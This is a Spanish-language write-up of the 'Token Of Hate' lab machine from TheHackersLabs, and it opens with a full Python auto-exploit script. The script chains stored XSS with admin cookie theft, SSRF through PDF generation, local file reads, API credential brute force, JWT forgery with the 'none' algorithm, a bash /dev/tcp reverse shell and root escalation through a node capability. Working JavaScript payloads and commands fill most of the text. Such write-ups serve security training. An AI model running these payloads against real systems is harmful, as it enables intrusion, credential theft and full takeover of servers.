Post

Token Of Hate

Writeup de la máquina Token Of Hate de TheHackersLabs.

Token Of Hate

Autopwned

Click para ver el autopwned
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
#!/usr/bin/env python3

# Author: Álvaro Bernal (aka. trr0r)

import requests, signal, sys, time, logging, json, jwt, keyboard
from pwn import *
from termcolor import colored
from threading import Thread
from multiprocessing import Process, Queue
from werkzeug import Request, Response, run_simple
from base64 import b64encode, b64decode

PORT = 80
LISTEN_NC = 443
target_ip = ""
host_ip = ""

payload_cmd ='''x=new XMLHttpRequest;x.onload=()=>new Image().src="http://%s:%i/?i="+btoa(x.responseText);x.open("POST","http://localhost:3000/command");x.setRequestHeader("Content-Type","application/json");x.send('{"command":"bash -c \\'bash -i >& /dev/tcp/%s/%i 0>&1\\'", "token":"%s"}')'''

payload_token ='''x=new XMLHttpRequest;x.onload=()=>new Image().src="http://%s:%i/info?i="+btoa(x.responseText);x.open("POST","http://localhost:3000/login");x.setRequestHeader("Content-Type","application/json");x.send('{"username":"Jose","password":"FuLqqEAErWQsmTQQQhsb"}')'''

# Ocultar el output
loger = logging.getLogger('werkzeug')
loger.setLevel(logging.ERROR)

def get_ip():
    if len(sys.argv) != 3:
        print(colored("\n\t[+] Uso: tokenofhate_autopwned.py target_ip host_ip\n", 'blue'))
        sys.exit(1)
    else:
        return [sys.argv[1], sys.argv[2]]

def ctrl_c(key, event):
    print(colored("\n[!] Saliendo ...\n", 'red'))
    sys.exit(1)

signal.signal(signal.SIGINT, ctrl_c)

def check_connect():
    resultado = subprocess.run(["timeout", "1", "ping", "-c", "1", target_ip], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
    if resultado.returncode != 0:
        print(colored("\n[!] No tienes conectividad con la máquina víctima\n", 'red'))
        sys.exit(1)

def inject_cookie():
    main_url = f"http://{target_ip}/procesarRegistro.php"
    body_request = {
        "username" : f"<script>let img=document.createElement("img");img.src="http://{host_ip}{PORT}/?cookie="+document.cookie</script>",
        "password" : "pwned"
    }
    requests.post(main_url, data=body_request)

def cookie_hijacking():
    print("") # Salto de línea simulado ya que el \n en el log.progress se bugea
    cookie_log = log.progress(colored("Capturando la cookie del admin", 'blue'))
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        server.bind((host_ip, PORT))

        server.listen(1)

        while True:
            client, client_addr = server.accept()
            request = client.recv(1024).decode("utf-8")
            if "GET /?cookie" in request and target_ip == client_addr[0]:
                cookie = request.splitlines()[0].split("PHPSESSID=")[-1].split(" ")[0]
                cookie_log.success(colored(f"Cookie del usuario admin capturada, \"{cookie}\"", 'green'))
                break
    return cookie

def inject_token():
    main_url = f"http://{target_ip}/procesarRegistro.php"
    body_request = {
        "username" : f"<script src="http://192.168.26.10:80/pwned.js"></script>",
        "password" : "pwned2"
    }
    requests.post(main_url, data=body_request)


def get_token(q: Queue) -> None:
    @Request.application
    def app(request: Request) -> Response:
        path = request.path.strip().lower()
        if path.endswith("/pwned.js"):
            with open("./pwned.js", "r") as f:
                js_content = f.read()
            return  Response(js_content, content_type='application/javascript')
        elif path.endswith("/info"):
            if "i" in request.args:  # Aseguramos que el parámetro "i" esté presente
                q.put(request.args["i"])  # Poner el token en la cola
        return Response("", 204)

    run_simple("0.0.0.0", PORT, app)  # Iniciar el servidor en 0.0.0.0:PORT

def run_flask_token():
    q = Queue()
    p = Process(target=get_token, args=(q,))
    p.start()

    print("") # Salto de línea simulado ya que el \n en el log.progress se bugea
    token_log = log.progress(colored("Capturando el token del usuario Jose", 'blue'))
    token = q.get(block=True)  # Esperar el token desde la cola
    token_log.success(colored(f"Token del usuario Jose captuado, \"{token}\"", 'green'))
    p.terminate()  # Terminar el servidor Flask
    token = jwt.decode(json.loads(b64decode(token).decode())["token"], options={"verify_signature": False})
    token["role"] = "admin"
    token = jwt.encode(token, key=None, algorithm="none")
    return token

def get_cmd(q: Queue) -> None:
    @Request.application
    def app(request: Request) -> Response:
        path = request.path.strip().lower()
        if path.endswith("/pwned.js"):
            with open("./pwned.js", "r") as f:
                js_content = f.read()
            q.put("")
            return Response(js_content, content_type='application/javascript')
        return Response("", 204)


    run_simple("0.0.0.0", PORT, app)  # Iniciar el servidor en 0.0.0.0:PORT

def run_flask_cmd():
    q = Queue()
    p = Process(target=get_cmd, args=(q,))
    p.start()

    print("") # Salto de línea simulado ya que el \n en el log.progress se bugea
    token_log = log.progress(colored("Esperando a que el admin visite la página para que nos envie la Reverse Shell", 'blue'))
    print("") # Salto de línea simulado ya que el \n en el log.progress se bugea

    listening() # Nos ponemos en escucha

    q.get(block=True)  # Esperar a que se realize la petición a /pwned.js
    p.terminate()  # Terminar el servidor Flask

def write_pwned_js(content, type):

    if type == "t":
        with open("pwned.js", "w") as f:
            f.write(content % (host_ip, PORT))
    elif type == "c":
        with open("pwned.js", "w") as f:
            f.write(content % (host_ip, PORT, host_ip, LISTEN_NC, token))

def listening():
    listener = listen(LISTEN_NC)
    conn = listener.wait_for_connection()

    conn.recv() # Recibimos el primer banner
    conn.recv() # Recibimos el segundo banner
    conn.sendline(b"""/usr/bin/yournode -e 'process.setuid(0); require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]})'""")
    conn.recv().decode() # Recibimos el output del comando anterior

    conn.sendline(b"""echo "User Flag -> `cat /home/ctesias/user.txt`" """)
    conn.sendline(b"""echo "Root Flag -> `cat /root/root.txt`" """)
    print(conn.recv().decode())
    print(conn.recv().decode())
    print(conn.recv().decode())

    conn.interactive()

if __name__ == '__main__':
    target_ip, host_ip = get_ip()
    check_connect()

    # Operativas innecesarias pero se han realizado por puro aprendizaje
    #inject_cookie()
    #cookie = cookie_hijacking()

    inject_token()
    write_pwned_js(payload_token, "t")
    token = run_flask_token()
    write_pwned_js(payload_cmd, "c")
    run_flask_cmd()

Resumen de la resolución

Token Of Hate es una máquina Linux de dificultad Insane (Experto) de la plataforma de TheHackersLabs. Es una máquina que explota diversas vulnerabilidades web, veremos como conseguiremos robarle la cookie al admin lo que nos permite acceder a la sección de administración, en la cual podemos generar archivos PDFs. Dicha generación de archivos PDFs, nos permitirán explotar un SSRF para acceder a una API interna a través de la cual podemos ejecutar comandos remotamente. Finalmente, aprovechamos una capability en una copia del binario node para escalar privilegios y obtener acceso como root.


Enumeración

En primer lugar, realizaremos un barrido en la red para encontrar la Dirección IP de la máquina víctima, para ello usaremos el siguiente comando.

1
arp-scan -I ens33 --localnet

A continuación podemos ver la Dirección IP ya que el OUI es 08:00:27, correspondiente a una máquina virtual de Virtual Box.

Después le lanzaremos un ping para ver si se encuentra activa dicha máquina, además de ver si acepta la traza ICM. Comprobamos que efectivamente nos devuelve el paquete que le enviamos por lo que acepta la traza ICMP, gracias al ttl podremos saber si se trata de una máquina Linux (TTL 64 ) y Windows (TTL 128), y vemos que se trata de una máquina Linux pues cuenta con TTL próximo a 64 (63), además gracias al script whichSystem.py podremos conocer dicha información.

Nmap

En segundo lugar, realizaremos un escaneo por TCP usando Nmap para ver que puertos de la máquina víctima se encuentra abiertos.

1
nmap -p- --open --min-rate 5000 -sS -v -Pn -n 192.168.26.92 -oG allPorts

Observamos como nos reporta que nos encuentran un montón de puertos abiertos, como es común en las máquinas windows.

Ahora gracias a la utilidad getPorts definida en nuestra .zshrc podremos copiarnos cómodamente todos los puerto abiertos de la máquina víctima a nuestra clipboard.

A continuación, volveremos a realizar un escaneo con Nmap, pero esta vez se trata de un escaneo más exhaustivo pues lanzaremos unos script básicos de reconocimiento, además de que nos intente reportar la versión y servicio que corre para cada puerto.

1
nmap -p80,22 -sCV 192.168.26.92 -oN targeted

En el segundo escaneo de Nmap no descubriremos nada interesante.


Puerto 80 - HTTP (Apache)

Al acceder a la página web, veremos el siguiente texto, el cual nos indica que se está aplicando una normalización de caracteres y que el usuario admin está revisando los nuevos usuarios que se registran.

Registraremos un nuevo usuario (trr0r) y nos logearemos con el mismo, y veremos el contenido de la página privada.

En el código fuente de dicha página, veremos que hay un comentario indicando que existe una sección para los usuario con el rol admin.

Como bien hemos visto antes, el usuario admin está revisando los nuevos usuarios que se registran. Por lo tanto, registraremos un usuario que contenga un XSS que realicé una petición a un archivo alojado en nuestra máquina. Para ello, debemos de registrar un usuario con el siguiente contenido.

1
<script src="http://192.168.26.10/pwned.js"></script>

Al registrar un usuario con los anteriores caracteres especiales (Unicode), evitaremos la comprobación que se realiza por caracteres como >, <, ", /, entre otros. Además, dado que se está aplicando una normalización de caracteres por detrás, finalmente estos serán convertidos a su forma original en ASCII.

Veremos como recibimos una petición al archivo pwned.js.


Explotación

El script pwned.js captura la cookie del usuario admin y la envía a nuestro servidor:

1
2
let img = new Image()
img.src = "http://192.168.26.10/?cookie=" + document.cookie

Veremos que capturamos la cookie del administrador, por lo que podemos usarla para iniciar sesión como admin.

Estableceremos que nuestra cookie es la que acabamos de obtener, es decir la del usuario administrador. Veremos que conseguimos acceder a la sección del usuario administrador donde podemos generar PDFs.

El PDF que se nos genera contiene el siguiente contenido.

Al generar un PDF, observaremos que dicha funcionalidad permite hacer solicitudes al localhost.

XSS → SSRF vía Dynamic PDF

Gracias al siguiente artículo XSS to SSRF via Dynamic PDF, podemos ver como acontecer un SSRF a través de la generación dinámica de PDFs.

Gracias al siguiente comando de bash, obtendremos un listado de los puertos más comunes.

1
for i in $(cat /usr/share/wordlists/SecLists/Discovery/Infrastructure/common-http-ports.txt); do echo -n "$i,"; done; echo

El siguiente contenido de pwned.js nos permitirá realizar un escaneo de los puertos abiertos internamente.

1
2
3
4
5
6
7
8
9
10
11
function checkPorts(port){
  x=new XMLHttpRequest;
  x.onload=function(){new Image().src=`http://192.168.26.10/open?port=${port}`};
  x.open("GET",`http://localhost:${port}/`);x.send();
}

top_ports = [66,80,81,443,445,457,1080,1100,1241,1352,1433,1434,1521,1944,2301,3000,3128,3306,4000,4001,4002,4100,5000,5432,5800,5801,5802,6346,6347,7001,7002,8000,8080,8443,8888,30821]

for (let port of top_ports){
  checkPorts(port)
}

Volveremos a generar un PDF y obtendremos la confirmación de que el puerto 3000 está abierto.

Para ver el contenido de dicho puerto, es decir la respuesta, el contenido de pwned.js deberá de ser el sigueinte.

1
2
3
x=new XMLHttpRequest;
x.onload=function(){new Image().src=`http://192.168.26.10/?resText=${btoa(this.responseText)}`};
x.open("GET","http://localhost:3000/");x.send();

Veremos como recibimos una petición con el contenido codificado en base64.

Gracias a la siguiente instrucción de bash, conseguiremos decodificar el contenido que está en base64.

1
echo -n "eyJu..." | base64 -d | jq

Veremos que en el puerto 3000 (abierto internamente), se encuentra una API a través de la cual podemos ejecutar comandos tras previamente habernos logeado como un usuario con el rol de admin.

XSS → SSRF → LFI

Mediante la vulnerabilidad SSRF, intentamos leer archivos locales en el servidor, es decir aplicar un LFI. Para ello, el contenido de pwned.js ha de ser el siguiente.

1
2
3
x=new XMLHttpRequest;
x.onload=function(){new Image().src=`http://192.168.26.10/?resText=${btoa(this.responseText)}`};
x.open("GET","file:///etc/passwd");x.send();

Veremos como recibimos una petición codificada en base64.

Volveremos a usar la misma instrucción de bash para decodificar el contenido está en base64.

1
echo -n "cm9.." | base64 -d | grep "sh$"

Veremos los usuarios del sistema que tienen una terminal válida.

En este caso, leeremos el contenido del fichero /etc/apache2/sites-availables/000-default.conf, para ello hemos de modificar el pwned.js.

Descubriremos que el DocumentRoot del sitio web está en /var/www/html, además veremos unas credenciales de acceso a la base de datos (no nos servirán de nada).

Si intentamos leer el contenido de /var/www/html/index.php de la misma manera que lo hemos hecho hasta ahora, veremos que no lo lograremos. Por ello, es una buena razón para explorar una alternativa que nos permita visualizar el contenido de los archivos internos, lo cual será posible gracias al siguiente contenido de pwned.js.

1
2
3
4
5
6
7
8
x=new XMLHttpRequest;
x.onload=function(){
  // No lo pasaremos a base64 (btoa), ya que si no, no funcionará
  new Image().src=`http://192.168.26.10/?resText=${this.responseText}`;
  // De igual forma, mostraremos el conteido en el pdf
  document.write(`<pre>${this.responseText}</pre>`) // Usaremos etiquetas preformateadas (<pre>) para ver el contenido correctamente
};
x.open("GET","file:///var/www/html/index.php");x.send();

En el PDF generado, veremos el contenido del /var/www/html/index.php y en el observemos una credenciales.

XSS → SSRF → API

Volveremos a cambiar el contenido de pwned.js, en este caso aplicaremos un mini ataque de fuerza bruta para descubrir que usuario tiene capacidad de logearse en la API.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function checkUser(username, password){
  x=new XMLHttpRequest;
  x.onload=function(){new Image().src=`http://192.168.26.10/?resText=${btoa(this.responseText)}`; document.write(`[+] Username: ${username} -> ` + this.responseText + "<br>")};
  let data = JSON.stringify({"username": username, "password": password})
  x.open("POST","http://localhost:3000/login");
  x.setRequestHeader("Content-Type", "application/json");
  x.send(data);
}

let users = [
['admin', 'dUnAyw92B7qD4OVIqWXd'],
['Łukasz', 'dQnwTCpdCUGGqBQXedLd'],
['Þór', 'EYNlxMUjTbEDbNWSvwvQ'],
['Ægir', 'DXwgeMuQBAtCWPPQpJtv'],
['Çetin', 'FuLqqEAErWQsmTQQQhsb'],
['José', 'FuLqqEAErWQsmTQQQhsb']
];

for (let user of users){
  document.write(`[+] Username: ${user[0]}<br>`)
  checkUser(user[0], user[1])
}

Veremos que ningún usuario es capaz de logearse en la API.

Modificaremos el nombre de usuario remplazando los caracteres especiales (Unicode) por caracteres ASCII. Tal y como vemos a continuación, el usuario Jose tiene capacidad de logearse en la API.

Gracias al siguiente contenido del pwned.js, conseguiremos logearnos con las credenciales Jose:FuLqqEAErWQsmTQQQhsb.

1
2
3
4
5
6
x=new XMLHttpRequest;
x.onload=function(){new Image().src=`http://192.168.26.10/?resText=${btoa(this.responseText)}`};
let data = JSON.stringify({"username": "Jose", "password": "FuLqqEAErWQsmTQQQhsb"})
x.open("POST","http://localhost:3000/login");
x.setRequestHeader("Content-Type", "application/json");
x.send(data);

En la respuesta de la petición, veremos un mensaje y un token necesario para acceder al endpoint /command, el cual aparentemente nos permite ejecutar comandos.

Volveremos a modificar el pwned.js, para ejecutar un ping a nuestra máquina de atacante.

1
2
3
4
5
6
x=new XMLHttpRequest;
x.onload=function(){new Image().src=`http://192.168.26.10/?resText=${btoa(this.responseText)}`};
let data = JSON.stringify({"command": "ping -c 1 192.168.26.10", "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ikpvc2UiLCJyb2xlIjoidXNlciIsImlhdCI6MTc0MjA2MzEwMSwiZXhwIjoxNzQyMDY2NzAxfQ.jeAgJaUcaF9gtDJYzc8ig9nxuP9D7ckC1s8g5Lh7rmM"})
x.open("POST","http://localhost:3000/command");
x.setRequestHeader("Content-Type", "application/json");
x.send(data);

En la respuesta, veremos que no tenemos acceso, pues dicho endpoint solo está permitido para el admin.

Si nos dirigimos a jwt.io y pegamos nuestro token, veremos en la figura el campo role, por lo que lo modificaremos a admin.

Veremos que en el respuesta de la petición, nos devuelve el output del comando.

Además, veremos como recibimos la traza ICMP de la máquina víctima.

A continuación, lo que haremos será ponernos en escucha con Netcat (nc -nlvp 443) y enviarnos una Reverse Shell gracias al típico one liner de bash (`bash -c ‘bash -i >& /dev/tcp/192.168.26.10/443 0>&1’”).

1
2
3
4
5
6
x=new XMLHttpRequest;
x.onload=function(){new Image().src=`http://192.168.26.10/?resText=${btoa(this.responseText)}`};
let data = JSON.stringify({"command": "bash -c 'bash -i >& /dev/tcp/192.168.26.10/443 0>&1'", "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ikpvc2UiLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3NDIwNjMxMDEsImV4cCI6MTc0MjA2NjcwMX0._wQ0-N-vcor-8oxK3YElOZ9J8AB1GINxo_qfK0aXE8k"})
x.open("POST","http://localhost:3000/command");
x.setRequestHeader("Content-Type", "application/json");
x.send(data);

Veremos como recibimos correctamente la Reverse Shell, por lo que habremos ganado acceso a la máquina vícitma.


Escalada de privilegios

Enumeración local

Tras ganar acceso, realizaremos un +Tratamiento de la TTY.

Despues de enumerar un buen rato enumeración, me doy cuanto con una Capabilities un tanto extraña e inusual.

1
getcap -r / 2>/dev/null

Al ejecutar dicho binario sobre el que tengo la Capability, veremos que es una copia del binario node.

Node | Capabilities

Nos dirigiremos a la siguiente página GTFOBins - Node capability, y veremos que para elevar nuestros privilegio debemos ejecutar el siguiente comando.

1
/usr/bin/yournode -e 'process.setuid(0); require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]})'

Tras ejecutarlo, veremos que nos otorga una shell como root, completando la explotación de la máquina.

This post is licensed under CC BY 4.0 by the author.